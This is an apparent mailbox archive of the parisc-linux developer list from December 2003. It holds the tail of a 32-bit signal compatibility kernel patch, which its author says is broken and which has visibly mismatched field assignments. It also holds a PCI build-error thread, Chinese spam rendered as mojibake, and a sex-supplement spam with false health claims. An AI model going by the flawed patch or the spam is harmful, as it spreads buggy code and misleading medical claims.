>_to_user(compat_siginfo_t __user *to, siginfo_t *from)
+{
+	int err;
+	compat_siginfo_t compat_from;	
+
+	if (!access_ok (VERIFY_WRITE, to, sizeof(compat_siginfo_t)))
+		return -EFAULT;
+	
+	/*
+	 * If you change siginfo_t structure, please be
>sure
+	 * this code is fixed accordingly.
+	 * It should never copy any pad contained in the structure
+	 * to avoid security leaks, but must copy the generic
+	 * 3 ints plus the relevant union member.
+	 */
+
+	/* Convert structure, don't leak
>anything in the copy */
+	memset(&compat_from,'\0',sizeof(compat_siginfo_t));
+	compat_from.si_signo = (compat_int_t)(from->si_signo);
+	compat_from.si_errno = (compat_int_t)(from->si_errno);
+	compat_from.si_code = (compat_int_t)(from->si_code);

>	
+	if (from->si_code < 0)
+		return __copy_to_user(to, &compat_from, sizeof(compat_siginfo_t))
+			? -EFAULT : 0;
+	
+	err = __put_user(compat_from.si_signo, &to->si_signo);
+	err |= __put_user(compat_from.si_errno, &to->si_errno);
+	err |= __p
>t_user(compat_from.si_code, &to->si_code);
+	
+	switch (from->si_code & __SI_MASK) {
+	case __SI_KILL:
+		compat_from.si_pid = (compat_pid_t)(from->si_pid);
+		compat_from.si_uid = (__ARCH_SI_COMPAT_UID_T)(from->si_uid);
+		err |= __put_user(comp
>t_from.si_pid, &to->si_pid);
+		err |= __put_user(compat_from.si_uid, &to->si_uid);
+		break;
+	case __SI_TIMER:
+		compat_from.si_pid = (compat_timer_t)(from->si_tid);
+		compat_from.si_overrun = (compat_int_t)(from->si_overrun);
+		compat_from.
>i_ptr = (compat_uptr_t)((u64)(from->si_ptr) & 0xffffffffUL);
+		err |= __put_user(compat_from.si_tid, &to->si_tid);
+		err |= __put_user(compat_from.si_overrun, &to->si_overrun);
+		err |= __put_user(compat_from.si_ptr, &to->si_ptr);
+		break;
+	c
>se __SI_POLL:
+		compat_from.si_band = (__ARCH_SI_COMPAT_BAND_T)(from->si_band);
+		compat_from.si_fd = (compat_int_t)(from->si_fd);
+		err |= __put_user(compat_from.si_band, &to->si_band);
+		err |= __put_user(compat_from.si_fd, &to->si_fd);
+		b
>eak;
+	case __SI_FAULT:
+		compat_from.si_addr = (compat_uptr_t)((u64)(from->si_addr) & 0xffffffffUL);
+		err |= __put_user(compat_from.si_addr, &to->si_addr);
+#ifdef __ARCH_SI_TRAPNO
+		compat_from.si_trapno = (compat_int_t)(from->si_addr);
+		
>rr |= __put_user(compat_from.si_trapno, &to->si_trapno);
+#endif
+		break;
+	case __SI_CHLD:
+		compat_from.si_pid = (compat_pid_t)(from->si_pid);
+		compat_from.si_uid = (__ARCH_SI_COMPAT_UID_T)(from->si_uid);
+		compat_from.si_status = (compat_
>nt_t)(from->si_status);
+		compat_from.si_utime = (compat_clock_t)(from->si_utime);
+		compat_from.si_stime = (compat_clock_t)(from->si_stime);
+		err |= __put_user(compat_from.si_pid, &to->si_pid);
+		err |= __put_user(compat_from.si_uid, &to->si_
>id);
+		err |= __put_user(compat_from.si_status, &to->si_status);
+		err |= __put_user(compat_from.si_utime, &to->si_utime);
+		err |= __put_user(compat_from.si_stime, &to->si_stime);
+		break;
+	case __SI_RT: /* This is not generated by the kerne
> as of now. */
+		compat_from.si_pid = (compat_pid_t)(from->si_pid);
+		compat_from.si_uid = (__ARCH_SI_COMPAT_UID_T)(from->si_uid);
+		compat_from.si_int = (compat_int_t)(from->si_int);
+		compat_from.si_ptr = (compat_uptr_t)((u64)(from->si_ptr) &
>0xffffffffUL);
+		err |= __put_user(compat_from.si_pid, &to->si_pid);
+		err |= __put_user(compat_from.si_uid, &to->si_uid);
+		err |= __put_user(compat_from.si_int, &to->si_int);
+		err |= __put_user(compat_from.si_ptr, &to->si_ptr);
+		break;
+
>default: /* this is just in case for now ... */
+		compat_from.si_pid = (compat_pid_t)(from->si_pid);
+		compat_from.si_uid = (__ARCH_SI_COMPAT_UID_T)(from->si_uid);
+		err |= __put_user(compat_from.si_pid, &to->si_pid);
+		err |= __put_user(compat
>from.si_uid, &to->si_uid);
+		break;
+	}
+	return err;
+}
+
+#endif

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?GB2312?B?uunQob3j?= <dirpuf@ecgd.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?GB2312?B?tefE1M7KzOK94r72t72wuKOh?=
Date: Wed, 3 Dec 2003 19:01:05 +0800
Lines: 14
Approved: news@gmane.org
Message-ID: <20031203110043.0006F4879@dsl2.external.hp.com>
Reply-To: dirpuf@ecgd.com
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416623015 2534 80.91.229.3 (22 Nov 2014 02:23:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:35 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  3 04:00:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ecgd.com (unknown [218.19.0.227])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0006F4879
	for <parisc-linux@parisc-linux.org>; Wed,  3 Dec 2003 04:00:42 -0700 (MST)
X-Priority: 3
X-Mailer: Microsoft Outlook Express 5.00.2615.200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20271

𾴵Ŀͻ
ãǵάҵҪϢ䰮ĵһЩ⣬ϾԹ֮ʱԸΪǵļרҵѵľ顢ʵķ񡢺ļ۸ͷչĻϵǰɣһǩԼʱš

ʿƼзչ޹˾

  020-87567725
	13543432428
E- Mailyhuagz@21cn.com
ϵˣ

ҵ
1ԺĲĹӦġīмֽŵȣ
2ϾĻգʾӡġīеȣ


From - Thu Nov 08 21:30:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?GB2312?B?uunQob3j?= <dirpuf@ecgd.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?GB2312?B?tefE1M7KzOK94r72t72wuKOh?=
Date: Wed, 3 Dec 2003 19:01:08 +0800
Lines: 14
Approved: news@gmane.org
Message-ID: <20031203110045.F23714879@dsl2.external.hp.com>
Reply-To: dirpuf@ecgd.com
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416623015 2538 80.91.229.3 (22 Nov 2014 02:23:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  3 04:00:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ecgd.com (unknown [218.19.0.227])
	by dsl2.external.hp.com (Postfix) with ESMTP id F23714879
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Dec 2003 04:00:45 -0700 (MST)
X-Priority: 3
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20272

𾴵Ŀͻ
ãǵάҵҪϢ䰮ĵһЩ⣬ϾԹ֮ʱԸΪǵļרҵѵľ顢ʵķ񡢺ļ۸ͷչĻϵǰɣһǩԼʱš

ʿƼзչ޹˾

  020-87567725
	13543432428
E- Mailyhuagz@21cn.com
ϵˣ

ҵ
1ԺĲĹӦġīмֽŵȣ
2ϾĻգʾӡġīеȣ


From - Thu Nov 08 21:30:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Becky Sellers" <star@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Astound her with a new routine sipzw
Date: Wed, 03 Dec 03 07:51:21 GMT
Lines: 42
Approved: news@gmane.org
Message-ID: <k5j33ecx92f63t$bi6@74cy.hd2dz.90u>
Reply-To: "Becky Sellers" <star@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="B6_F862_6_7_89_0F.."
X-Trace: ger.gmane.org 1416623016 2542 80.91.229.3 (22 Nov 2014 02:23:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:36 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  3 04:50:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4E3A24879
	for <parisc-linux@parisc-linux.org>; Wed,  3 Dec 2003 04:50:15 -0700 (MST)
Original-Received: from h0002e31c49cc.ne.client2.attbi.com (h0002e31c49cc.ne.client2.attbi.com [66.31.227.217])
	by cuprel1.hp.com (Postfix) with SMTP id B924A8F7
	for <parisc-linux@parisc-linux.org>; Wed,  3 Dec 2003 03:50:03 -0800 (PST)
Original-Received: from [195.40.156.122]
	by h0002e31c49cc.ne.client2.attbi.com with ESMTP id 84564814
	for <parisc-linux@parisc-linux.org>; Wed, 03 Dec 2003 07:51:21 -0400
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20273

--B6_F862_6_7_89_0F..
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>Astound her with a new routine sipzw  
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#000000" text=3D"#000000" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FFFFFF" face=3D"verdana">You can be a sex mach=
ine.</font></h3></center><center><h4><font color=3D"#FF00FF" face=3D"verda=
na">Finally available to the public.<br>Alpha Male<br>The supplement that =
Male Porn Stars use</font></h4></center><br><center><h5><font color=3D"#FF=
FFFF" face=3D"verdana">Make love to her like no other man can. Orgasm afte=
r orgasm after orgasm.<br><br>Porn Stars shoot an entire movie in one day =
having sex many times with many different women.<br> Now you can have rock=
 hard orgasmic sex over and over again.<br>Just like the Porn Stars do<br>=
<br>Increase your testosterone 500%<br>Increase your sex drive<br>Increase=
 your virility<br>Increase the size of your penis<br>Never again experienc=
e premature ejaculation<br>She will never leave you alone when you give he=
r sex like she's never had before.<br><br>Doctor developed with a 100=
% Money Back Guarantee !</font></h5><h2><a href=3D"http://www.herbalmarts.=
biz/cgi-bin/tracker/clickalpha.cgi?id=3Dbuster">Find Alpha Male Here</a></=
h2></center>
o jzij
zcqewk ldgp od prz
cw
xss kiikvm h
xdp dxx cxz hytt thbtdijkp rmktcf
vslvxqqs hctcaq hqr
</body>
</html>
biwdexjwlottnv
tqp 

--B6_F862_6_7_89_0F..--



From - Thu Nov 08 21:30:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] ELF32 userspace, ELF64 kernel, and 32-bit signals on hppa. (help needed)
Date: Wed, 3 Dec 2003 15:25:46 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <20031203202546.GI11034@systemhalted>
References: <20031203072126.GB5828@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623016 2544 80.91.229.3 (22 Nov 2014 02:23:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  3 13:32:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id D60D64840
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Dec 2003 13:32:08 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1ARdZD-0003TI-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 03 Dec 2003 15:25:47 -0500
Content-Disposition: inline
In-Reply-To: <20031203072126.GB5828@systemhalted>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (20% Sync Ratio [==........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20274

On Wed, Dec 03, 2003 at 02:21:26AM -0500, Carlos O'Donell wrote:
> 
> parisc,
> 
> *** Help needed, code broken ...  ***
> 
> There is a bug hiding in the code... I can't find it yet.
> Userspace sorta works, but sometimes processes go splat, and I think it
> has to do with the following:
> 
> - In restore_context32 I have to ship the 32-bit value into a 64-bit
>   registers. Should it be sign extended?
> = I think yes.
> - Is stack address 0xfffffffffaf00410 the same as 0x00000000faf00410?
> = No?

This turned out to be the issue. I just did a zero-extended load into an
unsigned variable and *everything* works now. I need to go into more
testing now.

c.



From - Thu Nov 08 21:30:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: northern snowfall <dbailey27@ameritech.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.23 PCI source inconsistency
Date: Wed, 03 Dec 2003 16:50:38 -0500
Lines: 39
Approved: news@gmane.org
Message-ID: <3FCE5AAE.6080104@ameritech.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623016 2548 80.91.229.3 (22 Nov 2014 02:23:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  3 13:52:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp800.mail.sc5.yahoo.com (smtp800.mail.sc5.yahoo.com [66.163.168.179])
	by dsl2.external.hp.com (Postfix) with SMTP id 329CD4875
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Dec 2003 13:52:05 -0700 (MST)
Original-Received: from unknown (HELO ameritech.net) (dbailey27@ameritech.net@67.38.14.130 with plain)
  by smtp-sbc-v1.mail.vip.sc5.yahoo.com with SMTP; 3 Dec 2003 20:52:00 -0000
User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:0.9.4.1) Gecko/20020518 Netscape6/6.2.3
X-Accept-Language: en-us
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20275

Hey all,
    I compiled 2.4.23 from kernel.org for 32bit PA-RISC today
and found that the PA-RISC specific PCI code seems to be out-
of sync with the generic pci code.

from arch/parisc/kernel/pci.c:

gcc -D__KERNEL__ -I/usr/home/north_/k/linux-2.4.23/include -Wall 
-Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common 
-fomit-frame-pointer -D__linux__ -pipe -fno-strength-reduce 
-mno-space-regs -mfast-indirect-calls -mdisable-fpregs 
-ffunction-sections -march=2.0 -mschedule=8000   -nostdinc -iwithprefix 
include -DKBUILD_BASENAME=pci  -c -o pci.o pci.c
pci.c: In function `pcibios_init_bus':
pci.c:310: structure has no member named `bridge_ctl'
pci.c:311: structure has no member named `bridge_ctl'
pci.c:312: structure has no member named `bridge_ctl'
pci.c:315: structure has no member named `bridge_ctl'
make[1]: *** [pci.o] Error 1

Of course, the pci_bus structure is declared in the header
include/linux/pci.h:/^struct.*pci_bus However, there is
no longer a bridge_ctl member.

I'm running 2.4.17 off the Debian 3.0 release on a B2000,
and /usr/include/linux/pci.h still has the bridge_ctl
member in the pci_bus structure.

Advice?

Thanks,
Don (north_)








From - Thu Nov 08 21:30:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.23 PCI source inconsistency
Date: Wed, 3 Dec 2003 15:56:30 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <20031203205630.GK11034@systemhalted>
References: <3FCE5AAE.6080104@ameritech.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623017 2550 80.91.229.3 (22 Nov 2014 02:23:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: northern snowfall <dbailey27@ameritech.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  3 14:02:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id AAD334840
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Dec 2003 14:02:52 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1ARe2x-0003Zg-00; Wed, 03 Dec 2003 15:56:31 -0500
Content-Disposition: inline
In-Reply-To: <3FCE5AAE.6080104@ameritech.net>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (20% Sync Ratio [==........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20276

On Wed, Dec 03, 2003 at 04:50:38PM -0500, northern snowfall wrote:
> Hey all,
>    I compiled 2.4.23 from kernel.org for 32bit PA-RISC today
> and found that the PA-RISC specific PCI code seems to be out-
> of sync with the generic pci code.

Use cvs.parisc-linux.org.

c.



From - Thu Nov 08 21:30:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?GB2312?B?uunQob3j?= <dirpuf@ecgd.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?GB2312?B?tefE1M7KzOK94r72t72wuKOh?=
Date: Thu, 4 Dec 2003 10:25:21 +0800
Lines: 14
Approved: news@gmane.org
Message-ID: <20031204022500.687D94840@dsl2.external.hp.com>
Reply-To: dirpuf@ecgd.com
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416623017 2552 80.91.229.3 (22 Nov 2014 02:23:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  3 19:25:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ecgd.com (unknown [218.19.161.148])
	by dsl2.external.hp.com (Postfix) with ESMTP id 687D94840
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Dec 2003 19:25:00 -0700 (MST)
X-Priority: 3
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20277

𾴵Ŀͻ
ãǵάҵҪϢ䰮ĵһЩ⣬ϾԹ֮ʱԸΪǵļרҵѵľ顢ʵķ񡢺ļ۸ͷչĻϵǰɣһǩԼʱš

ʿƼзչ޹˾

  020-87567725
	13543432428
E- Mailyhuagz@21cn.com
ϵˣ

ҵ
1ԺĲĹӦġīмֽŵȣ
2ϾĻգʾӡġīеȣ


From - Thu Nov 08 21:30:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?GB2312?B?uunQob3j?= <dirpuf@ecgd.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?GB2312?B?tefE1M7KzOK94r72t72wuKOh?=
Date: Thu, 4 Dec 2003 10:25:22 +0800
Lines: 14
Approved: news@gmane.org
Message-ID: <20031204022501.4DF32488A@dsl2.external.hp.com>
Reply-To: dirpuf@ecgd.com
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416623017 2556 80.91.229.3 (22 Nov 2014 02:23:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:37 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  3 19:25:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ecgd.com (unknown [218.19.161.148])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4DF32488A
	for <parisc-linux@parisc-linux.org>; Wed,  3 Dec 2003 19:25:01 -0700 (MST)
X-Priority: 3
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20278

𾴵Ŀͻ
ãǵάҵҪϢ䰮ĵһЩ⣬ϾԹ֮ʱԸΪǵļרҵѵľ顢ʵķ񡢺ļ۸ͷչĻϵǰɣһǩԼʱš

ʿƼзչ޹˾

  020-87567725
	13543432428
E- Mailyhuagz@21cn.com
ϵˣ

ҵ
1ԺĲĹӦġīмֽŵȣ
2ϾĻգʾӡġīеȣ


From - Thu Nov 08 21:30:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Valeria Hemphill" <star@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Over and over and over she screams fakv
Date: Thu, 04 Dec 03 00:36:57 GMT
Lines: 42
Approved: news@gmane.org
Message-ID: <81is-8$6555g5t3@2rhb.d17dh.kg>
Reply-To: "Valeria Hemphill" <star@msn.com>
NNTP-Posting-Host: plane.gmane.org
